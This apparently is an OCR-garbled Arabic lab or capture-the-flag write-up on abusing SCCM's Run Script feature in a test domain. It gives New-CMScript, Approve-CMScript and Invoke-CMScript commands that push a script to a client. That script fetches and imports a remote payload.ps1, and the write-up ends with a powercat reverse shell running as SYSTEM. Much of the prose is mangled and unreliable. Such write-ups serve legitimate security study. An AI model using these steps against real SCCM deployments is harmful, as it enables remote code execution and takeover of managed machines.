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SCCM Infrastructure:
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Figurel - Hierarchy sites Central, Primary and secondary sites




What is meant by Sites?

Domain ;3¢ Lic ¢ physical locationJ! ¢ L Site JI (s20
L 4l s=e Active Directory Site (owell muas control
Active J| J=1> 0330 Physical location JI 1da J=1s AD culds
Configuration Partition (3 l\s4=39 Directory Database

" ADSI Edit

i
File Action View

A Elr

2 ADSI Edit
W ;:I Default narming context [DC.BunnyGeek.local]
| DC=BunnyGeek,DC=local

Mame Class Distingui

| CN=Cenfiguration,DC=Bun... configuration CMN=Con

W :=| Configuration [DC.BunnyGeek.local]
| CM=Cenfiguration, DC=BunnyGeek DC=local

Figure2 — Configuration Partition
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SCCM Sites:
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Clients in SCCM:
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Figure3 — Client from the perspective of the ConfigMgr

PS5 C:iUsershscomadmin®Desktop= Get-5CCMSezzion | Get-SCCMComputer

Name : MAZEN

FullDomainName : BUNNYGEEK. LOCAL

IPAddresses : {10.10.10.50, fel80::3080:ad7b:7be5 8394}
LastLogonUserDomain : MAZEN

LastlLogonUserName 1 mazen

Figured — Client from the perspective of the Powersccm
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SCCM Site Code Naming:

el (3 ConfigMigr Site e wiyaill Site Code JI puseid
Figurel Wlw diz& Al (2,4)

P5 C:%WUsersiscomadmin'Desktop> Import-Module .%pscom.psl
Ps C:\Usershscomadmin'Desktop= Find-Scom3iteCode -ComputerWame scom. bunnygeek. Tocal

SiteCode

P5 C:%Usershscomadmin'Desktops>

Figure5 — Site Code (BUN)
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Abusing The Run Script Feature in SCCM:

&35 ) OV bde colaNuo 4l 1 )9 Site Server U ey
Il dglxag Local Administrator J! JI ©l=duall

P5 C:%Usershbugsbunny'Desktop> whoam /groups

Group Name Type SID Attributes

Everyone Well-known group 5-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY%\Local account and member of Administrators group Well-known group 5-1-5-114 Mandatory group, Enabled by default, Enabled group
BUILTINYAdministrators Alias 5-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Distributed COM Users LARES 5-1-5-32-562 Mandatory group, Enabled by default, Enabled group
BUILTINYUsers Alias 5-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group 5-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group 5-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY‘\Authenticated Users Well-known group 5-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY%This Organization Well-known group 5-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY%Local account well-known group 5-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group 5-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group 5-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label‘High Mandatory Level Label 5-1-16-122

PS C:\Users‘\bugsbunny'\Desktop> net user administrator /domain

The request will be processed at a domain controller for domain BunnyGeek.local

System error 5 has occurred.

lAccess is denied.

PS5 C:\Users'bugsbunny'Desktop> Enter-P5Session mazen. bunnygeek. Tocal

P5 C:\Users‘\bugsbunny'Desktop>




ConfigurationManager Jl Module 3439 cye 4SS

PS C:\Usershbugsbunny'\Desktop= 1=
Directory: C:\Program Files (x86)%Wicrosoft Configuration Manager'AdminConsole'\binyConfigurationManager

Mode LastWriteTime Length Name

-a--—— 4/15,/2022 11:12 PM 15489 ConfigurationManager.psdl

PS C:\Usershbugsbunny'Desktop=

Figure6 — ConfigurationManager.psd1
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. Scripts

New-CMSchedule Create a Configuration Manager schedule token.
_ Create a PowerShell script in Configuration Manager.
New-CMSecondarySite Create a secondary site.
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Configuration Manager CMScripts:
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: Site Drive JI J! Jgzal)

Import Module .1
Enter the site code name .2

PS C:%Users'bugsbunny'Dezktop>

PS C:%Users'\bugsbunny\Desktop> import-module
PS C:%Usershbugsbunny\Desktop> cd BUN:

PS BUN:'\»

oM 0456 O bde oo (S Jaally yolgVl s

D Brwbo e dide (gudalg script reverse shell sLadb pgas

New-CMScript -ScriptName <name> -Fast -ScriptText "powershell.exe invoke-webrequest

http://ip/payload.ps1 -outfile C:\Users\blah\blah ; Import-Module C:\Users\blah\blah"

LU LUITe v

FS BUN:%> New—-CMScript —ScriptMame shell -Fast —ScriptText

SmsProviderObjectPath : SMS_Scripts.ScriptGuid="FD44365B-h923-4?AB-BCFF-57AEEE?AB583"
ApprovalState H ]

Approver H

Author : NT AUTHORITY\SYSTEM

Comment H

Feature E

LastUpdateT ime : 272022 6:28:87 PM

ParameterGroupHaszh H

Parameterlist

ParameterlistiML

ParamsDefinition

Script

ScriptDescription H

ScriptGuid : FD44365B-A?23-47AB-BCFF-57AEEE?ABS83

ScriptHazh : PAZ2A4BB17FBB8F452FED3FC4293F4n54A?FA7??666A63FBE3A692F1FF6AF?329C
ScriptHashAlgorithm : SHAZS5A

ScriptMName : zshell

ScriptType E

ScriptUersion HE |

PS BUN:N>




Script JI 14} Guid JI 4| e dde dadlgald ¢ Script JI sLadl o

Cdrdinsuer LiTiL aun
Script

ScriptDescription H

ScriptGuid : FD44365B-A723-47AB-BCFF-57AEEE?ABSB3

gcriptnasan1 . H EEEgﬂgBBl?FBBF452FED3FC4293F4HS4H9Fﬂ79666HS3FBB3HS?2F1FFEHF93ZQG
CrwintHae i +hm = !
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Approve-CMScript -ScriptGuid FD44365B-A923-47AB-BCFF-57AEEE9AB583

PS BUN:->
PS BUN:%> Approve—-CMScript —ScriptGuid FD44365B-A?23-47AB-BCFF-5VAEEE?ABS83

PS BUM:“>




ZJA)" JJ-QJJJLbJJ‘j dw\ Client_]\ J‘C ”” . & ‘53.9.:3

Invoke-CMScript -ScriptGuid FD44365B-A923-47AB-BCFF-57AEEE9AB583 -Device (Get-

CMDevice -Name MAZEN)

P8 BUN:N\> Inuvoke—CHM8cript —ScriptGuid FD44365B-A923-47AB-BCFF-5YAEEEYABS83 -Device (Get—-CHDevice —Name MAZENY
PS BUN:=N>

y to clipboard

P§ BUN:\> Invoke—CMScript -ScriptGuid FD44365B-A923-47AB-BCFF-57AEEEIABSB3 —Devidps C:\Users\bugsbunny\Desktops
PS BUN:~> _ P5 C:\Users\bugsbunny'Desktop>
P5 C:\Users\bugsbunny'Desktop> powercat -1 -v -p 4443 -t 1000
VERBOSE: Set Stream 1: TCP
VERBOSE: Set Stream 2: Consale
VERBOSE: Setting up Stream 1...
VERBOSE: Listening on [0.0.0.0] (port 4443)
VERBOSE: Connection from [10.10.10.50] port [tcp] accepted (source port 58625)
VERBOSE: Setting up Stream 2...
VERBOSE: Both Communication Streams Established. Redirecting Data Between Streams...

Windows PowerShell running as user MAZENS on MAZEN
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS5 C:\Windows\CCM\ ScriptStore=PS C:%\Windows \CCMYScriptStores
PS5 C:\Windows\CCM\ ScriptStores

PS5 C:\Windows\CCM\ScriptStore> whoami ;; hostname

nt authority'system

mazen

PS5 C:\Windows\CCM\5criptStore=

type C:\Users'\mazen. BUNNYGEEK\Desktop\flag.txt

PS5 C:\Windows%CCM\5criptStore> Congratulation !!

PS5 C:\Windows\CCM\ScriptStores
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